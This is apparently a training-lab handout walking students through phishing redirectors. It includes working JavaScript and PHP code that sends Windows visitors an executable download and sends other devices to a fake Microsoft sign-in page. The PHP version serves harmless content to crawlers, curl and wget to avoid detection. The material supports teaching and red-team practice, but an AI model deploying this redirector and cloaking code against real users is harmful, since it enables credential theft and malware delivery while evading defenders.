Lab 10: Redirectors used for hybrid phishing attacks

Table of Contents

Lab 10: Redirectors used for hybrid phishing attacks	1
Goals	1
Requirements	
1 Observe client-side and server-side redirectors	1
2 Examine redirector source code	5
	J

Goals

• Observe how redirectors can be used to detect client devices and deliver appropriate credential-harvesting or executable phishing payloads.

Requirements

• Kali Linux VM with Internet access.

1. Observe client-side and server-side redirectors

1. In this lab exercise, you'll observe the effects of client-side and server-side redirectors for device-specific payload delivery. In the Firefox web browser in your Kali Linux VM, visit the lab web server at the URL below.

https://lab.adversarydevelopment.com

Lab Server	× +
\leftarrow \rightarrow C $rac{1}{2}$	☑ ▲ https://lab.adversarydevelopment.com
🖨 Localhost	
Javascript Redirecto	<u>or</u>
PHP Redirector	

Lab Web Server

2. Next, click on each of the links on the page to observe behavior of each redirector. In this case, since you're using a non-Windows browser, the redirectors will redirect your browser to a credential-harvesting login page. You can also try visiting the page from a mobile device to see the same effect.

lan Sign In	× +						_
← → ♂ ⓓ	🛛 🔒 https://lab.a	dversarydevel	opment.com/si	gnin.html	(፱ 🕁	
🕀 Localhost							
Microsoft							
Sign in							
The shared documen	t you are trying <mark>t</mark> o	access can	not be downl	oaded on a m	obile dev	ice.	
Please sign in to view	v the document wi	th Microsoft	Office web s	uite.			
ACME, Inc. Username o	r Email Address						
Password							
Sign in							

Result of Clicking a Redirector Link in Kali Linux

3. Now visit the lab URL from a browser running in Microsoft Windows (either on your Windows VM or your Windows host). This time you should see that clicking either of the links causes your browser to download the file, "payload.exe". Don't worry if you choose to open the "payload.exe" file - it's just a text file made for this example.

Harmless V	Vebpag	e		×	+								
∢→	C	0	۵	https://la	b.ad	versaryde	evelo	opmen	t.com	n/js.	html		
													_
	Openi	ng pay	/load.	exe								×	<
	You h	ave cl paylo which from: d you	hosen ad.ex n is: e http: like t	n to open: xe xe File (53 s://lab.adv o save this	7 byt ersar file?	s) 'developm	nent.	com					
								Save F	ile		Can	icel	

Payload.exe Delivered to Windows Clients



Opening Payload.exe in Notepad

4. Last, use the "curl" command in your Kali VM to observe the behavior of each redirector from the perspective of a search engine crawler or suspicious blue teamer. Notice that the Javascript redirector code is revealed in the output of the first curl command, but the presence of the PHP-based redirector is somewhat less obvious.

curl https://lab.adversarydevelopment.com/js.html

curl https://lab.adversarydevelopment.com/php.php

```
_$ curl https://lab.adversarydevelopment.com/js.html
<html>
<head>
<title>Harmless Webpage</title>
<script language='javascript'>
var login_url = 'signin.html';
var payload_url = "payload.exe";
// Windows
if ( navigator.userAgent.match(/windows|win64|wow64/i) ≠ null ) {
    location.href=payload url;
// Mobile or non-Windows devices
else if ( navigator.userAgent.match(/mobile|iphone|ipad|android|mac|os x|linux/i
) ≠ null ) {
   location.href=login_url;
// All others get this page content
</script>
</head>
<body>
This is just a harmless webpage (Javascript version).
```

```
Javascript Code Disclosed in Page Body
```

```
(kali@kali)-[~]
$ curl https://lab.adversarydevelopment.com/php.php
<html>
<head>
<title>Harmless Webpage</title>
</head>
<body>
This is just a harmless webpage (PHP version).
</body>
</html>
```

Slightly Less Obvious PHP Redirector

2. Examine redirector source code

1. The source code of both redirectors is provided in the "/var/www/html" folder on your Kali Linux VM. You can experiment with the redirectors on your own system by using the command below to start the Apache web server to host the files locally.

sudo systemctl start apache2

2. Then use the web browser in your Kali VM to view the web page hosted on your local web server by visiting http://127.0.0.1.

http://127.0.0.1

Localhost	× 🛃 Add-ons Manager 🛛 🗙 🕂	
← → ⊂ ŵ	🗊 🛈 localhost	•••
Localhost		
Javascript Redirect	tor	
PHP Redirector		
Logged User Crede	entials	

Local Web Server Content

3. You can experiment with the results shown to different browsers by changing the user agent through the "User-Agent Switcher and Manager" menu in the Firefox toolbar.

	https://lab.adversary	/development.com	⊚ ☆	
Cocalhost	Chrome	✓ Windows	Filter among 400	Z to A ▼
Javascript Redirector	O Chrome 99.0.7113.93	3 Windows 10	ozilla/5.0 (Windows NT 10.0)	AppleWebKit/537.36 (KH
PHP Redirector	Chrome 89.0.4371.0	Windows 7	Mozilla/5.0 (Windows NT 6.1; W	/in64; x64) AppleWebKit/
	Chrome 89.0.4371.0	Windows 10	Mozilla/5.0 (Windows NT 10.0;)	Win64; x64) AppleWebKit
	Chrome 89.0.4369.0	Windows 10	Mozilla/5.0 (Windows NT 10.0;)	Win64; x64) AppleWebKit
	Chrome 89.0.4363.0	Windows 10	Mozilla/5.0 (Windows NT 10.0;)	Win64; x64) AppleWebKit
	Chrome 89.0.4363.0	Windows 7	Mozilla/5.0 (Windows NT 6.1; W	/OW64) AppleWebKit/53
	Chrome 00 0 1956 6	Windows 7	Marillo/E.O. /Mindows NT C.1-14	IOWEAL ApploWabk#/E9
	userAgent Mozilla/5.0 (V	Vindows NT 10.0) AppleWebK	it/537.36 (KHTML, like Gecko) (Chrome/99.0.7113.93 Safari/5
	appVersion 5.0 (Windows	s NT 10.0) AppleWebKit/537.3	6 (KHTML, like Gecko) Chrome/	99.0.7113.93 Safari/537.36
	platform Windows		vendor Google Inc.	
	product Gecko		oscpu [delete]	
				4
	Options	Restart	Refresh Tab	Reset
	Test UA	Consider Containers	Apply (active window)	Apply (all windows)

Changing Firefox User Agent in Kali Linux



Redirector Behavior after Changing the User Agent

4. Since the web server is running locally, you can also use the "Mousepad" text editor to view the source code of the PHP redirector by clicking on "Text Editor" in your applications menu and then opening the file, "/var/www/html/php.php". (This file path is also printed below for more convenient copying and pasting.)



Opening the Text Editor

```
/var/www/html/php.php - Mousepad
 ò
File Edit Search View Document Help
 1<?php
 2
 3 // These two lines just enable displaying errors for debugging
 4 // error reporting(E ALL);
 5 // ini set('display errors','On');
 6
 7 $login url = "http://localhost/signin.html";
 8 $payload url = "download.php";
 9
10 // Show harmless content to known bots //
11 if ( strpos(strtolower($ SERVER['HTTP USER AGENT']), 'google') !== false or
        strpos(strtolower($ SERVER['HTTP USER AGENT']),
12
                                                           python-requests') !== false or
13
        strpos(strtolower($ SERVER['HTTP USER AGENT']),
                                                          'zgrab') !== false or
14
        strpos(strtolower($ SERVER['HTTP USER AGENT']),
                                                          'curl') !== false or
15
       strpos(strtolower($ SERVER['HTTP USER AGENT']), 'wget') !== false or
        strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'search') !== false or
16
       strpos(strtolower($ SERVER['HTTP USER AGENT']), 'crawl') !== false or
17
18
       strpos(strtolower($ SERVER['HTTP USER AGENT']), 'bot') !== false ) {
19
20
       readfile('harmless.html');
21
      exit;
22 }
23
24 // Redirect Windows hosts to payload URL //
25 else if ( strpos(strtolower($ SERVER['HTTP USER AGENT']), 'windows') !== false or
               strpos(strtolower($ SERVER['HTTP USER AGENT']), 'win64') !== false or
26
27
               strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'wow64') !== false ) {
28
29
      header("HTTP/1.1 307 Temporary Redirect");
30
      header("Location: ".$payload url);
31
      exit;
```

PHP Redirector Source Code